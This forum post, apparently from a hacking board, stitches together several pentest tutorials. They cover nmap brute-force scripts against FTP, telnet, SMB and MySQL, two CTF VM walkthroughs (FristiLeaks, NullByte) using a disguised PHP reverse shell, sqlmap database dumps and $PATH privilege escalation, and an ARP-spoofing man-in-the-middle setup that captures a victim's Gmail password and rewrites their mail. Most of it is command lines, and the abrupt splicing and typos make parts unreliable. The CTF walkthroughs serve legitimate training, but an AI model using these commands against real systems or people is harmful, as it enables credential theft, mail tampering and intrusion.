Login

**NINZA** · 04-24-2020, 03:17 PM

0			0

In previous practical I had used basic command to scan victim’s PC and found open ports like ftp, Ssh, telnet, snmp and etc. You can check from

[To see content please register here]

But now the question is if we found open ports what else we can do to retrieve the information of victim using nmap scripts? To know your answer read ahead.

FTP BRUTE

Crack password using nmap brute script of FTP.

nmap -p21 –script ftp-brute.nse –script-args

userdb=/root/Desktop/user.txt,passdb=/root/Desktop/pass.txt 192.168.1.105

[To see content please register here]

?w=687&ssl=1]" class="mycode_img" />

From the scanning result I have successfully got the FTP password of victim pc

msfadmin:msfadminas username and password.

TELNET BRUTE

Crack password using nmap brute script of telnet.

nmap -p23 –script telnet-brute.nse –script-args

userdb=/root/Desktop/user.txt,passdb=/root/Desktop/pass.txt 192.168.1.105

I have successfully got the TELNET password of victim pc msfadmin:msfadminas username and password.
SMB BRUTE
Crack password using nmap brute script of SMB
Nmap –p445 –script smb-brute.nse –script-args
userdb=/root/Desktop/user.txt,passdb=/root/Desktop/pass.txt 192.168.1.105

I have successfully got the SMB password of victim pc msfadmin:msfadmin and user:useras username and password.

MYSQL BRUTE

Crack password using nmap brute script of MYSQL server

Nmap -sT -p3306 –script mysql-brute.nse –script-args userdb=/root/Desktop/user.txt 192.168.1.105
[Image: mysql.png?w=687&ssl=1]

Here I found two user as root and guest with empty password for MySQL server

Today we will walk through the first leaks VM. There is nothing that we know about this VM except for the fact that the security level is from beginner to intermediate. Also, this VM only works on 08:00:27:A5:A6:76 MAC address or else it will not work.
You can download it from here:

[To see content please register here]

Task: Get root Access and Capture the Flag
Level: Intermediate
Penetrating Methodology

Scanning Network
Enumeration
Exploiting Web Application
Post Exploit Enumeration
Privilege Escalation
Capture the Flag

Walkthrough
Scanning Network
Let’s start by scanning your victims’ IP.
nmap -A 19.168.1.110
1
nmap -A 19.168.1.110
[Image: 1.png?w=687&ssl=1]

Nmap shows us that port number 80 is open. Therefore, let’s open our victim’s IP in the browser.
[Image: 2.png?w=687&ssl=1]

Enumeration
Exploring the webpage, it occurred to me that fristi is also a drink like a cola or beer or sisi and also there was the reference to it on the home page so there is a possibility that fristi is also a directory here. And there was no harm in trying it.
[Image: 3.png?w=687&ssl=1]

And we found the login portal through fristi. Cheers. Once I looked at the source page of this directory, I found what I think is a username.
[Image: 4.png?w=687&ssl=1]

Also, by reading the metadata of the image which was encoded as indicated in the page source I found a string of letters. To decode type:
base64 -d encode > 1.png
1
base64 -d encode > 1.png
[Image: 5.png?w=687&ssl=1]

Exploiting Web Application
Then, we made up a php_reverse shell (available inside: /usr/share/webshells/php), in the form of .jpg and modified lhost and lport values.
[Image: 7.png?w=687&ssl=1]

And then uploaded this shell in 192.168.1.110/fristi/do_upload.php.
[Image: 9.png?w=687&ssl=1]

And then we executed our shell by typing:
192.168.1.110/fristi/uploads/shell/php.jpg
1
192.168.1.110/fristi/uploads/shell/php.jpg
[Image: 10.png?w=687&ssl=1]

Then through netcat we will listen in and get a session while navigating around:
nc -lvp 1234
cd /home
ls
cd eezpeez
ls -la
1
2
3
4
5
nc -lvp 1234
cd /home
ls
cd eezpeez
ls -la
[Image: 11.png?w=687&ssl=1]

Post Exploit Enumeration
So, in /eezpeez directory we found a notes.txt file. Let’s read it:
cat notes.txt
1
cat notes.txt
[Image: 12.png?w=687&ssl=1]

Again in the notes.txt, there is a message from Jerry telling us what to do. So let’s follow his steps by typing:
echo "/home/admin/chmod –R 777 /home/admin" > /tmp/runthis
1
echo "/home/admin/chmod –R 777 /home/admin" > /tmp/runthis
After typing the command go back to the home folder and from there go into the admin directory.
cd /tmp
cd /home/admin
ls -la
1
2
3
cd /tmp
cd /home/admin
ls -la
[Image: 13.png?w=687&ssl=1]

Now, in the above image, you can see that it said that the code allows the string to be encrypted so now, save the script in your kali and then change the word ‘base64string’ to ‘decoded’ in the script and finally use the following command to decrypt it :
python cryptpass.py =RFn0AKnlMHMPIzpyuTI0ITG
1
python cryptpass.py =RFn0AKnlMHMPIzpyuTI0ITG
And the decoded string is ‘LetThereBeFristi!’
[Image: 14.png?w=687&ssl=1]

Privilege Escalation
Now, this may be the password to fristigod user. So let’s try and use it. For this we need to switch user so, type the following command:
su fristigod
1
su fristigod
Enter ‘LetThereBeFristi’ as a password. Then I explored the fristigod folder and there I found the history file. In this history file, there was one command that was used over and over again with sudo permissions:
cd /var/fristigod
ls -lsa
cat bash.history
1
2
3
cd /var/fristigod
ls -lsa
cat bash.history
[Image: 16.png?w=687&ssl=1]

So let’s check sudo right for the said command to work. Therefore type:
sudo -l
1
sudo -l
It will ask for a password for fristigod, use the same password as above. Then to give rights type:
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
id
cd /root
ls
cat fristileafs_secrets.txt
1
2
3
4
5
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
id
cd /root
ls
cat fristileafs_secrets.txt
Then by navigating around using the above commands, I found a text file. By reading the contents of the file you can see that you have found second/last flag.
[Image: 17.png?w=687&ssl=1]

And VOILA!! This way you solve another CTF called fristileaks. Happy Pentesting!!

There are various vibrant attacks of burpsuite that may not know off; therefore we will try one for those in this article today. We will learn how to get between the networks of Gmail and then to change the message o the mail before it reaches the receiver.

First of all, go to the terminal of Kali and type:

arspoof -i wlan0 -t 192.168.100.4 192.168.100.1
1
arspoof -i wlan0 -t 192.168.100.4 192.168.100.1

Here,

-i –> interface

wlan0 –> network (This can be either Ethernet or WLAN depending on your victim i.e. if your victim is using eth0 then you should also use eth0)

-t –> target

192.168.100.4 –> Victim IP

192.168.100.1 –> DNS

Execution of the above command will capture the packets that are sent from victim to router. And once we have captured these packets we will open another terminal in Kali and type the following command which will make us capture all the packets from router to victim.

arpspoof -i wlan0 -t 192.168.100.1 192.168.100.4
1
arpspoof -i wlan0 -t 192.168.100.1 192.168.100.4

Here,

-i –> interface

wlan0 –> network

-t –> target

192.168.100.1 –> DNS

192.168.100.4 –> victim IP

This command will capture packets that are sent from router to victim IP. Now type the following the command so that IP forwarding is enabled in our PC.

echo 1 > /proc/sys/net/ipv4/ip_forward
1
echo 1 > /proc/sys/net/ipv4/ip_forward

Then type the following the command so that all the packets on port 80 will go through our IP.

iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to -desitination 192.168.100.5
1
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to -desitination 192.168.100.5

Then type the following the command so that we can all the packets on port 443 will go from our IP.

iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to -desitination 192.168.100.5
1
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to -desitination 192.168.100.5

After all, this is done then open burpsuite and go to the proxy tab and then select the options tab. Once you have reached here click on Add button.

Clicking on Add button will make the following options appear. In this give port no 80 in the box adjacent to bind to a port and in specific address give your IP.

Further on, Select Request Handling tab and check Support invisible proxy. And then click on ok.
[Image: 9.png?w=687&ssl=1]

Repeat the above steps for Port no 443 too.
[Image: 10.png?w=687&ssl=1]

After clicking on ok make sure all the boxes of running and invisible are checks.
[Image: 11.png?w=687&ssl=1]

When the victim will sign in his/her Gmail account we have its data captured in burpsuite.
[Image: 11_12.png?w=687&ssl=1]

And all this captured data will contain username and password of the victim as shown below.
[Image: 12.png?w=687&ssl=1]

Here is the closer view to the username and password.
[Image: 13.png?w=687&ssl=1]

The victim will type and send the message without suspicion:
[Image: 13_14.png?w=687&ssl=1]

But as the victim will click on send button its mail will come to us before reaching the destination.
[Image: 14.png?w=687&ssl=1]

Now you can change the text of the message by a simple left click on the message area and type your message as I changed HELLO THIS IS TESTING to YOU HAVE BEEN HACKED.

Once you change the message then click on Forward button on the top left side and the mail will go forward to its destination as shown below:

This is our article on root2boot penetration testing challenge. We will walk through an exploitable framework of NullByte VM. Breaking into it isn’t too difficult. There isn’t any advanced exploitation or reverse engineering. The level is considered beginner-intermediate. We have to find “Proof.txt” and follow further steps.

You can download it from

[To see content please register here]

.

Penetrating Methodology:

Network Scanning (Nmap, netdiscover)
Exacting hidden text from an image(ExifTool)
Dictionary Attack using rockyou.txt(Burp suite)
Steal Database information via SQL injection (Sqlmap)
Login to SSH
Find SUID Binaries
Privilege Escalation by Manipulating $PATH
Get Root access and capture the flag.

Let’s Begin the Game!!!
Start off by finding your target by running netdiscover on the terminal of the attacking machine.
[Image: 1.png?w=687&ssl=1]

Our target is 192.168.1.142. And now that we know our target, we will scan it using nmap.
nmap -A 192.168.1.142
1
nmap -A 192.168.1.142
[Image: 2.png?w=687&ssl=1]

Scanning the IP, we will know that the port number 80, 111, 777, 44607 are open. Please observe here that the service of SSH is forwarded from 22 to 777 port. This port may come in handy in the future to gain access.
Now we will try and open the targeted IP in the browser.
[Image: 3.png?w=687&ssl=1]

There are an image and a quote on the page. You will find nothing on the page source or otherwise. But there might be something hidden in the image and so, we will read the image using EXIF tool, therefore, download this image.
exiftool main.gif
1
exiftool main.gif
[Image: 4.png?w=687&ssl=1]

There you will find a comment kzMb5nVYJw. Now this might be a directory and there is no harm in opening it the browser so let’s do that
[Image: 5.png?w=687&ssl=1]

Our assumption was right as it opened in the browser. But it is asking for a key. And we have no idea what the key is so, therefore, we will use the dictionary attack to find the key using BurpSuite and rockyou.txt. Through the dictionary attack, you will find the key i.e. elite.
[Image: 6.png?w=687&ssl=1]

Through the dictionary attack, you will find the key i.e. elite. Enter the key where it was asking and the new web page will get opened which will be asking for username, BUT this time also we do not know the username. So, we will find it in its Database using sqlmap. And for this type:
sqlmap -u

[To see content please register here]

--dbs --batch
1
sqlmap -u

[To see content please register here]

--dbs --batch
[Image: 7.png?w=687&ssl=1]

It will give you the name of the database i.e. seth.
[Image: 8.png?w=687&ssl=1]

Now further we will find columns and tables and for that type:
sqlmap -u

[To see content please register here]

-D seth --dump-all --batch
1
sqlmap -u

[To see content please register here]

-D seth --dump-all --batch
Once command executes, it will show you the table name along with column and password as shown:
[Image: 9.png?w=687&ssl=1]

As a result, we have username and password but the password is in MD5 so we need to crack it and there are many online tools to do so. Therefore to crack it go to md5coder.org and give the md5 value there and click on ok and it will show you the original word i.e. omega
[Image: 10.png?w=687&ssl=1]

Now we will SSH to log in and for that type:
ssh [email protected] -p 777
1
ssh [email protected] -p 777
And then give omega as the password. And you are logged in. As you are now logged in type the following command to see the list of directories:
Then by using the following command, you can enumerate all binaries having SUID permission.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
We found that SUID bit enabled for /var/www/backup/procwatch which was quite attention-grabbing. So we decide to explore it for further steps.
[Image: 11.png?w=687&ssl=1]

cd /var/www/bakcup/
./procwatch
1
2
cd /var/www/bakcup/
./procwatch
So when I run the above command, it looks like the procwatch file is trying to run ps and this is a genuine file inside /bin for Process status. The most important things which could be considered here that the author has set SUID bit ON for procwatch and might be it could be any small program file which is calling system function such as ps.
Taking its advantage, we can escalate the root privilege and hit the goal of this VM. To achieve this we will have to manipulate the environment PATH variable. If we can get procwatch to run sh instead of ps, it should give us a root shell. Following techniques is called Linux Privilege escalation using environment $PATH variable and their so many methods to manipulate environment variable.
1st Method

echo "/bin/sh" > ps
chmod 777 ps
echo $PATH
export PATH=.:$PATH
echo $PATH
./procwatch
1
2
3
4
5
6
echo "/bin/sh" > ps
chmod 777 ps
echo $PATH
export PATH=.:$PATH
echo $PATH
./procwatch
Due to ‘.’ in $PATH means that the user is able to execute binaries/scripts from the current directory. With us execution of above commands we will enter root and then further type ;
id
cd /root
ls
cat proof.txt
1
2
3
4
id
cd /root
ls
cat proof.txt
[Image: 12.png?w=687&ssl=1]

2nd Method

cp /bin/sh /tmp/ps
echo $PATH
export PATH=/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
./procwatch
1
2
3
4
cp /bin/sh /tmp/ps
echo $PATH
export PATH=/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
./procwatch
With us execution of above commands we will enter root and then further type ;
id
cd /root
ls
cat proof.txt
1
2
3
4
id
cd /root
ls
cat proof.txt
[Image: 13.png?w=687&ssl=1]

3rd Method
vi ps
Once vi editors get open type /bin/sh and save the file.
[Image: 14.png?w=687&ssl=1]

chmod 777 ps
echo $PATH
export PATH=.:$PATH
cd /var/www/backup
./procwatch
1
2
3
4
5
chmod 777 ps
echo $PATH
export PATH=.:$PATH
cd /var/www/backup
./procwatch
With us execution of above commands we will enter root and then further type ;
id
cd /root
ls
cat proof.txt
1
2
3
4
id
cd /root
ls
cat proof.txt
[Image: 15.png?w=687&ssl=1]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis